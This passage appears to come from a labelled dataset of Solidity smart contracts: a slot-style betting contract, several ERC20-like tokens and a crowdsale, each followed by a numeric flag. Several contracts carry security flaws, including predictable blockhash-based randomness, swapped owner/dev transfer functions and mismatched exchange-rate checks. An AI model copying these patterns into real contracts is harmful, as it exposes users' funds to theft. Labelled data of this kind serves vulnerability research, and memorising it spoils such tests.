event ToOwnerPayment(address indexed beneficiary, uint amount);
event ToOwnerFailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event FailedPayment(address indexed beneficiary, uint amount);
event TokenPayment(address indexed beneficiary, uint amount);
event JackpotBouns(address indexed beneficiary, uint amount);
event TokenJackpotBouns(address indexed beneficiary, uint amount);
event BetRelatedData(
address indexed player,
uint playerBetAmount,
uint playerGetAmount,
bytes32 entropy,
bytes32 entropy2,
uint8 Uplimit,
uint8 rotateTime
);
constructor () public {
owner = msg.sender;
manager = DUMMY_ADDRESS;
secretSigner = DUMMY_ADDRESS;
ERC20ContractAddres = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner);
_;
}
modifier onlyManager {
require (msg.sender == manager);
_;
}
modifier onlyOwnerManager {
require (msg.sender == owner || msg.sender == manager);
_;
}
modifier onlySigner {
require (msg.sender == secretSigner);
_;
}
function initialParameter(address _manager,address _secretSigner,address _erc20tokenAddress ,uint _MIN_BET,uint _MAX_BET,uint _maxProfit,uint _maxTokenProfit, uint _MAX_AMOUNT, uint8 _platformFeePercentage,uint8 _jackpotFeePercentage,uint8 _ERC20rewardMultiple,uint32[] _withdrawalMode)external onlyOwner{
manager = _manager;
secretSigner = _secretSigner;
ERC20ContractAddres = _erc20tokenAddress;
MIN_BET = _MIN_BET;
MAX_BET = _MAX_BET;
maxProfit = _maxProfit;
maxTokenProfit = _maxTokenProfit;
MAX_AMOUNT = _MAX_AMOUNT;
platformFeePercentage = _platformFeePercentage;
jackpotFeePercentage = _jackpotFeePercentage;
ERC20rewardMultiple = _ERC20rewardMultiple;
withdrawalMode = _withdrawalMode;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner);
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner);
owner = nextOwner;
}
function approveNextManager(address _nextManager) external onlyManager {
require (_nextManager != manager);
nextManager = _nextManager;
}
function acceptNextManager() external {
require (msg.sender == nextManager);
manager = nextManager;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setTokenAddress(address _tokenAddress) external onlyManager {
ERC20ContractAddres = _tokenAddress;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT);
maxProfit = _maxProfit;
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance);
uint safetyAmount = jackpotSize.add(lockedInBets).add(withdrawAmount);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= address(this).balance);
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function withdrawToken(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
uint safetyAmount = tokenJackpotSize.add(lockedTokenInBets);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
ERC20(ERC20ContractAddres).transfer(beneficiary, withdrawAmount);
emit TokenPayment(beneficiary, withdrawAmount);
}
function withdrawAllFunds(address beneficiary) external onlyOwner {
if (beneficiary.send(address(this).balance)) {
lockedInBets = 0;
emit Payment(beneficiary, address(this).balance);
} else {
emit FailedPayment(beneficiary, address(this).balance);
}
}
function withdrawAlltokenFunds(address beneficiary) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
lockedTokenInBets = 0;
emit TokenPayment(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
}
function kill() external onlyOwner {
require (lockedInBets == 0);
require (lockedTokenInBets == 0);
selfdestruct(owner);
}
function getContractInformation()public view returns(
uint _jackpotSize,
uint _tokenJackpotSize,
uint _MIN_BET,
uint _MAX_BET,
uint _MAX_AMOUNT,
uint8 _platformFeePercentage,
uint8 _jackpotFeePercentage,
uint _maxProfit,
uint _maxTokenProfit,
uint _lockedInBets,
uint _lockedTokenInBets,
uint32[] _withdrawalMode){
_jackpotSize = jackpotSize;
_tokenJackpotSize = tokenJackpotSize;
_MIN_BET = MIN_BET;
_MAX_BET = MAX_BET;
_MAX_AMOUNT = MAX_AMOUNT;
_platformFeePercentage = platformFeePercentage;
_jackpotFeePercentage = jackpotFeePercentage;
_maxProfit = maxProfit;
_maxTokenProfit = maxTokenProfit;
_lockedInBets = lockedInBets;
_lockedTokenInBets = lockedTokenInBets;
_withdrawalMode = withdrawalMode;
}
function getContractAddress()public view returns(
address _owner,
address _manager,
address _secretSigner,
address _ERC20ContractAddres ){
_owner = owner;
_manager= manager;
_secretSigner = secretSigner;
_ERC20ContractAddres = ERC20ContractAddres;
}
enum PlaceParam {
RotateTime,
possibleWinAmount
}
function placeBet(uint[] placParameter, bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v) external payable {
require (uint8(placParameter[uint8(PlaceParam.RotateTime)]) != 0);
require (block.number <= _commitLastBlock );
require (secretSigner == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedInBets = lockedInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= msg.value.add(maxProfit));
require (lockedInBets <= address(this).balance);
bet.amount = msg.value;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = msg.sender;
emit PlaceBetLog(msg.sender, msg.value, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function placeTokenBet(uint[] placParameter,bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v,uint _amount,address _playerAddress) external {
require (placParameter[uint8(PlaceParam.RotateTime)] != 0);
require (block.number <= _commitLastBlock );
require (secretSigner == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedTokenInBets = lockedTokenInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= _amount.add(maxTokenProfit));
require (lockedTokenInBets <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
bet.amount = _amount;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = _playerAddress;
emit PlaceBetLog(_playerAddress, _amount, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function getBonusPercentageByMachineMode(uint8 machineMode)public view returns( uint upperLimit,uint maxWithdrawalPercentage ){
uint limitIndex = machineMode.mul(2);
upperLimit = withdrawalMode[limitIndex];
maxWithdrawalPercentage = withdrawalMode[(limitIndex.add(1))];
}
enum SettleParam {
Uplimit,
BonusPercentage,
RotateTime,
CurrencyType,
MachineMode,
PerWinAmount,
PerBetAmount,
PossibleWinAmount,
LuckySeed,
jackpotFee
}
function settleBet(uint[] combinationParameter, uint reveal) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (bet.amount != 0);
require (block.number <= bet.placeBlockNumber.add(BetExpirationBlocks));
bytes32 _entropy = keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
reveal,
blockhash(combinationParameter[uint8(SettleParam.LuckySeed)])
)
)
),
blockhash(block.number)
)
)
),
blockhash(block.timestamp)
)
);
uint totalAmount = 0;
uint totalTokenAmount = 0;
uint totalJackpotWin = 0;
(totalAmount,totalTokenAmount,totalJackpotWin) = runRotateTime(combinationParameter,_entropy,keccak256(abi.encodePacked(uint(_entropy), blockhash(combinationParameter[uint8(SettleParam.LuckySeed)]))));
if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
emit JackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
jackpotSize = uint128(jackpotSize.sub(totalJackpotWin));
}else if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
emit TokenJackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
tokenJackpotSize = uint128(tokenJackpotSize.sub(totalJackpotWin));
}
emit BetRelatedData(bet.gambler,bet.amount,totalAmount,_entropy,keccak256(abi.encodePacked(uint(_entropy), blockhash(combinationParameter[uint8(SettleParam.LuckySeed)]))),uint8(combinationParameter[uint8(SettleParam.Uplimit)]),uint8(combinationParameter[uint8(SettleParam.RotateTime)]));
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
if (totalAmount != 0){
sendFunds(bet.gambler, totalAmount , totalAmount);
}
if (totalTokenAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalTokenAmount);
emit TokenPayment(bet.gambler, totalTokenAmount);
}
}
}else if(combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
if (totalAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalAmount);
emit TokenPayment(bet.gambler, totalAmount);
}
}
}
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
lockedInBets = lockedInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
} else if (combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
lockedTokenInBets = lockedTokenInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
}
bet.amount = 0;
if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0) {
jackpotSize = jackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}else if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 1) {
tokenJackpotSize = tokenJackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}
}
function runRotateTime ( uint[] combinationParameter, bytes32 _entropy ,bytes32 _entropy2)private view returns(uint totalAmount,uint totalTokenAmount,uint totalJackpotWin) {
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 tmp_entropy;
bytes32 tmp_Mask = resultMask;
bool isGetJackpot = false;
for (uint8 i = 0; i < combinationParameter[uint8(SettleParam.RotateTime)]; i++) {
if (i < 64){
tmp_entropy = _entropy & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*(64 - (i.add(1))));
tmp_Mask = tmp_Mask >> 4;
}else{
if ( i == 64){
tmp_Mask = resultMask;
}
tmp_entropy = _entropy2 & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*( 64 - (i%63)));
tmp_Mask = tmp_Mask >> 4;
}
if ( uint(tmp_entropy) < uint(combinationParameter[uint8(SettleParam.Uplimit)]) ){
totalAmount = totalAmount.add(combinationParameter[uint8(SettleParam.PerWinAmount)]);
uint platformFees = combinationParameter[uint8(SettleParam.PerBetAmount)].mul(platformFeePercentage);
platformFees = platformFees.div(1000);
totalAmount = totalAmount.sub(platformFees);
}else{
if (uint(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
uint rewardAmount = uint(combinationParameter[uint8(SettleParam.PerBetAmount)]).mul(ERC20rewardMultiple);
totalTokenAmount = totalTokenAmount.add(rewardAmount);
}
}
}
if (isGetJackpot == false){
isGetJackpot = getJackpotWinBonus(i,_entropy,_entropy2);
}
}
if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
totalJackpotWin = jackpotSize;
}else if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
totalJackpotWin = tokenJackpotSize;
}
}
function getJackpotWinBonus (uint8 i,bytes32 entropy,bytes32 entropy2) private pure returns (bool isGetJackpot) {
bytes32 one;
bytes32 two;
bytes32 three;
bytes32 four;
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 jackpo_Mask = resultMask;
if (i < 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy & jackpo_Mask) >> (4*(64 - (i + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
else if(i >= 61){
if(i == 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
}
else if(i == 62){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
three = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
four = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
}
else if(i == 63){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
two = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0x00F0000000000000000000000000000000000000000000000000000000000000) >> 4*61;
jackpo_Mask = 0xF000000000000000000000000000000000000000000000000000000000000000;
}
else {
one = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 1)));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 2))) ;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 3))) ;
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy2 & jackpo_Mask) >>(4*( 64 - (i%64 + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
}
if ((one ^ 0xF) == 0 && (two ^ 0xF) == 0 && (three ^ 0xF) == 0 && (four ^ 0xF) == 0){
isGetJackpot = true;
}
}
function getPossibleWinAmount(uint bonusPercentage,uint senderValue)public view returns (uint platformFee,uint jackpotFee,uint possibleWinAmount) {
uint prePlatformFee = (senderValue).mul(platformFeePercentage);
platformFee = (prePlatformFee).div(1000);
uint preJackpotFee = (senderValue).mul(jackpotFeePercentage);
jackpotFee = (preJackpotFee).div(1000);
uint preUserGetAmount = senderValue.mul(bonusPercentage);
possibleWinAmount = preUserGetAmount.div(10000);
}
function refundBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedInBets = lockedInBets.sub(possibleWinAmount);
sendFunds(bet.gambler, amount, amount);
}
function refundTokenBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedTokenInBets = uint128(lockedTokenInBets.sub(possibleWinAmount));
ERC20(ERC20ContractAddres).transfer(bet.gambler, amount);
emit TokenPayment(bet.gambler, amount);
}
function clearStorage(uint[] cleanCommits) external {
uint length = cleanCommits.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(cleanCommits[i]);
}
}
function clearProcessedBet(uint commit) private {
Bet storage bet = bets[commit];
if (bet.amount != 0 || block.number <= bet.placeBlockNumber + BetExpirationBlocks) {
return;
}
bet.placeBlockNumber = 0;
bet.gambler = address(0);
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
function sendFundsToManager(uint amount) external onlyOwner {
if (manager.send(amount)) {
emit ToManagerPayment(manager, amount);
} else {
emit ToManagerFailedPayment(manager, amount);
}
}
function sendTokenFundsToManager( uint amount) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(manager, amount);
emit TokenPayment(manager, amount);
}
function sendFundsToOwner(address beneficiary, uint amount) external onlyOwner {
if (beneficiary.send(amount)) {
emit ToOwnerPayment(beneficiary, amount);
} else {
emit ToOwnerFailedPayment(beneficiary, amount);
}
}
function updateMIN_BET(uint _uintNumber)public onlyManager {
MIN_BET = _uintNumber;
}
function updateMAX_BET(uint _uintNumber)public onlyManager {
MAX_BET = _uintNumber;
}
function updateMAX_AMOUNT(uint _uintNumber)public onlyManager {
MAX_AMOUNT = _uintNumber;
}
function updateWithdrawalModeByIndex(uint8 _index, uint32 _value) public onlyManager{
withdrawalMode[_index] = _value;
}
function updateWithdrawalMode( uint32[] _withdrawalMode) public onlyManager{
withdrawalMode = _withdrawalMode;
}
function updateBitComparisonMask(bytes32 _newBitComparisonMask ) public onlyOwner{
bitComparisonMask = _newBitComparisonMask;
}
function updatePlatformFeePercentage(uint8 _platformFeePercentage ) public onlyOwner{
platformFeePercentage = _platformFeePercentage;
}
function updateJackpotFeePercentage(uint8 _jackpotFeePercentage ) public onlyOwner{
jackpotFeePercentage = _jackpotFeePercentage;
}
function updateERC20rewardMultiple(uint8 _ERC20rewardMultiple ) public onlyManager{
ERC20rewardMultiple = _ERC20rewardMultiple;
}
} | 0 | 1,524 |
pragma solidity ^0.4.24;
contract RNBX {
string public name ;
string public symbol ;
uint8 public decimals = 18;
uint256 public totalSupply ;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function RNBX(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
} | 1 | 4,052 |
contract Partner {
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens);
}
contract MNY {
string public name = "Monkey";
uint8 public decimals = 18;
string public symbol = "MNY";
address public _owner;
address public _dev = 0xC96CfB18C39DC02FBa229B6EA698b1AD5576DF4c;
address public _devFeesAddr;
uint256 public _tokePerEth = 4877000000000000000000;
bool public _coldStorage = true;
bool public _receiveEth = false;
bool _feesEnabled = false;
bool _payFees = false;
uint256 _fees;
uint256 _lifeVal = 0;
uint256 _feeLimit = 0;
uint256 _devFees = 0;
uint256 public _totalSupply = 1000000928 * 1 ether;
uint256 public _circulatingSupply = 0;
uint256 public _frozenTokens = 0;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Exchanged(address indexed _from, address indexed _to, uint _value);
mapping (address => uint256) public balances;
mapping (address => bool) public exchangePartners;
mapping (address => uint256) public exchangeRates;
function MNY() {
_owner = msg.sender;
preMine();
}
function preMine() internal {
}
function transfer(address _to, uint _value, bytes _data) public {
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
_totalSupply = add(_totalSupply, _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength != 0) {
exchange(_to, _value);
}
else {
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
}
function transfer(address _to, uint _value) public {
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
_totalSupply = add(_totalSupply, _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength != 0) {
exchange(_to, _value);
}
else {
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
}
function exchange(address _partner, uint _amount) internal {
require(exchangePartners[_partner]);
require(requestTokensFromOtherContract(_partner, this, msg.sender, _amount));
if(_coldStorage) {
_frozenTokens = add(_frozenTokens, _amount);
}
else {
_totalSupply = add(_totalSupply, _amount);
}
balances[msg.sender] = sub(balanceOf(msg.sender), _amount);
_circulatingSupply = sub(_circulatingSupply, _amount);
Exchanged(msg.sender, _partner, _amount);
Transfer(msg.sender, this, _amount);
}
function () payable public {
require((msg.value > 0) && (_receiveEth));
uint256 _tokens = mul(div(msg.value, 1 ether),_tokePerEth);
require(_totalSupply >= _tokens);
_totalSupply = sub(_totalSupply, _tokens);
balances[msg.sender] = add(balances[msg.sender], _tokens);
_circulatingSupply = add(_circulatingSupply, _tokens);
Transfer(this, msg.sender, _tokens);
_lifeVal = add(_lifeVal, msg.value);
if(_feesEnabled) {
if(!_payFees) {
if(_lifeVal >= _feeLimit) _payFees = true;
}
if(_payFees) {
_devFees = add(_devFees, ((msg.value * _fees) / 10000));
}
}
}
function requestTokensFromOtherContract(address _targetContract, address _sourceContract, address _recipient, uint256 _value) internal returns (bool){
Partner p = Partner(_targetContract);
p.exchangeTokensFromOtherContract(_sourceContract, _recipient, _value);
return true;
}
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _incomingTokens) public {
require(exchangeRates[msg.sender] > 0);
uint256 _exchanged = mul(_incomingTokens, exchangeRates[_source]);
require(_exchanged <= _totalSupply);
balances[_recipient] = add(balances[_recipient],_exchanged);
_totalSupply = sub(_totalSupply, _exchanged);
_circulatingSupply = add(_circulatingSupply, _exchanged);
Exchanged(_source, _recipient, _exchanged);
Transfer(this, _recipient, _exchanged);
}
function changePayRate(uint256 _newRate) public {
require(((msg.sender == _owner) || (msg.sender == _dev)) && (_newRate >= 0));
_tokePerEth = _newRate;
}
function safeWithdrawal(address _receiver, uint256 _value) public {
require((msg.sender == _owner));
if(_feesEnabled) {
if(_payFees) _devFeesAddr.transfer(_devFees);
_devFees = 0;
}
require(_value <= this.balance);
_receiver.transfer(_value);
}
function balanceOf(address _receiver) public constant returns (uint balance) {
return balances[_receiver];
}
function changeOwner(address _receiver) public {
require(msg.sender == _owner);
_dev = _receiver;
}
function changeDev(address _receiver) public {
require(msg.sender == _dev);
_owner = _receiver;
}
function changeDevFeesAddr(address _receiver) public {
require(msg.sender == _dev);
_devFeesAddr = _receiver;
}
function toggleReceiveEth() public {
require((msg.sender == _dev) || (msg.sender == _owner));
if(!_receiveEth) {
_receiveEth = true;
}
else {
_receiveEth = false;
}
}
function toggleFreezeTokensFlag() public {
require((msg.sender == _dev) || (msg.sender == _owner));
if(!_coldStorage) {
_coldStorage = true;
}
else {
_coldStorage = false;
}
}
function defrostFrozenTokens() public {
require((msg.sender == _dev) || (msg.sender == _owner));
_totalSupply = add(_totalSupply, _frozenTokens);
_frozenTokens = 0;
}
function addExchangePartnerAddressAndRate(address _partner, uint256 _rate) {
require((msg.sender == _dev) || (msg.sender == _owner));
uint codeLength;
assembly {
codeLength := extcodesize(_partner)
}
require(codeLength > 0);
exchangeRates[_partner] = _rate;
}
function addExchangePartnerTargetAddress(address _partner) public {
require((msg.sender == _dev) || (msg.sender == _owner));
exchangePartners[_partner] = true;
}
function removeExchangePartnerTargetAddress(address _partner) public {
require((msg.sender == _dev) || (msg.sender == _owner));
exchangePartners[_partner] = false;
}
function canExchange(address _targetContract) public constant returns (bool) {
return exchangePartners[_targetContract];
}
function contractExchangeRate(address _exchangingContract) public constant returns (uint256) {
return exchangeRates[_exchangingContract];
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function getBalance() public constant returns (uint256) {
return this.balance;
}
function getLifeVal() public constant returns (uint256) {
require((msg.sender == _owner) || (msg.sender == _dev));
return _lifeVal;
}
function getCirculatingSupply() public constant returns (uint256) {
return _circulatingSupply;
}
function payFeesToggle() {
require((msg.sender == _dev) || (msg.sender == _owner));
if(_payFees) {
_payFees = false;
}
else {
_payFees = true;
}
}
function updateFeeAmount(uint _newFee) public {
require((msg.sender == _dev) || (msg.sender == _owner));
require((_newFee >= 0) && (_newFee <= 100));
_fees = _newFee * 100;
}
function withdrawDevFees() public {
require(_payFees);
_devFeesAddr.transfer(_devFees);
_devFees = 0;
}
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
} | 1 | 2,248 |
pragma solidity ^0.4.16;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address owner) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
}
contract VRCoinCrowdsale {
struct Period
{
uint start;
uint end;
uint priceInWei;
uint tokenToDistibute;
}
uint public constant VRCOIN_DECIMALS = 9;
uint public constant TOTAL_TOKENS_TO_DISTRIBUTE = 750000 * (10 ** VRCOIN_DECIMALS);
uint public exchangeRate = 610;
address public owner;
bool public hasStarted;
Period public sale;
ERC20Interface public tokenWallet;
uint coinToTokenFactor = 10 ** VRCOIN_DECIMALS;
event Transfer(address to, uint amount);
event Start(uint timestamp);
event Contribution(address indexed from, uint weiContributed, uint tokensReceived);
function VRCoinCrowdsale(address walletAddress)
{
owner = msg.sender;
tokenWallet = ERC20Interface(walletAddress);
require(tokenWallet.totalSupply() >= TOTAL_TOKENS_TO_DISTRIBUTE);
require(tokenWallet.balanceOf(owner) >= TOTAL_TOKENS_TO_DISTRIBUTE);
hasStarted = false;
sale.start = 1521234001;
sale.end = 1525122001;
sale.priceInWei = (1 ether) / (exchangeRate * coinToTokenFactor);
sale.tokenToDistibute = TOTAL_TOKENS_TO_DISTRIBUTE;
}
function updatePrice() {
require(msg.sender == owner);
sale.priceInWei = (1 ether) / (exchangeRate * coinToTokenFactor);
}
function setExchangeRate(uint256 _rate) {
require(msg.sender == owner);
exchangeRate = _rate;
}
function startSale()
{
require(msg.sender == owner);
require(hasStarted == false);
if (!tokenWallet.transferFrom(owner, this, sale.tokenToDistibute))
{
revert();
}else{
Transfer(this, sale.tokenToDistibute);
}
require(tokenWallet.balanceOf(this) >= sale.tokenToDistibute);
hasStarted = true;
Start(block.timestamp);
}
function changeOwner(address newOwner) public
{
require(msg.sender == owner);
owner = newOwner;
}
function changeTokenForSale(uint newAmount) public
{
require(msg.sender == owner);
require(hasStarted == false);
require(tokenWallet.totalSupply() >= newAmount);
require(tokenWallet.balanceOf(owner) >= newAmount);
sale.tokenToDistibute = newAmount;
}
function changePeriodTime(uint start, uint end) public
{
require(msg.sender == owner);
require(hasStarted == false);
require(start < end);
sale.start = start;
sale.end = end;
}
function withdrawTokensRemaining() public
returns (bool)
{
require(msg.sender == owner);
uint crowdsaleEnd = sale.end;
require(block.timestamp > crowdsaleEnd);
uint tokensRemaining = getTokensRemaining();
return tokenWallet.transfer(owner, tokensRemaining);
}
function withdrawEtherRemaining() public
returns (bool)
{
require(msg.sender == owner);
owner.transfer(this.balance);
return true;
}
function getTokensRemaining() public constant
returns (uint256)
{
return tokenWallet.balanceOf(this);
}
function getTokensForContribution(uint weiContribution) public constant
returns(uint tokenAmount, uint weiRemainder)
{
uint256 bonus = 0;
uint crowdsaleEnd = sale.end;
require(block.timestamp <= crowdsaleEnd);
uint periodPriceInWei = sale.priceInWei;
tokenAmount = weiContribution / periodPriceInWei;
if (block.timestamp < 1522270801) {
bonus = tokenAmount * 20 / 100;
} else if (block.timestamp < 1523739601) {
bonus = tokenAmount * 15 / 100;
} else {
bonus = tokenAmount * 10 / 100;
}
tokenAmount = tokenAmount + bonus;
weiRemainder = weiContribution % periodPriceInWei;
}
function contribute() public payable
{
require(hasStarted == true);
var (tokenAmount, weiRemainder) = getTokensForContribution(msg.value);
require(tokenAmount > 0);
require(weiRemainder <= msg.value);
uint tokensRemaining = getTokensRemaining();
require(tokensRemaining >= tokenAmount);
if (!tokenWallet.transfer(msg.sender, tokenAmount))
{
revert();
}
msg.sender.transfer(weiRemainder);
uint actualContribution = msg.value - weiRemainder;
Contribution(msg.sender, actualContribution, tokenAmount);
}
function() payable
{
contribute();
}
} | 0 | 481 |
pragma solidity ^0.4.24;
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
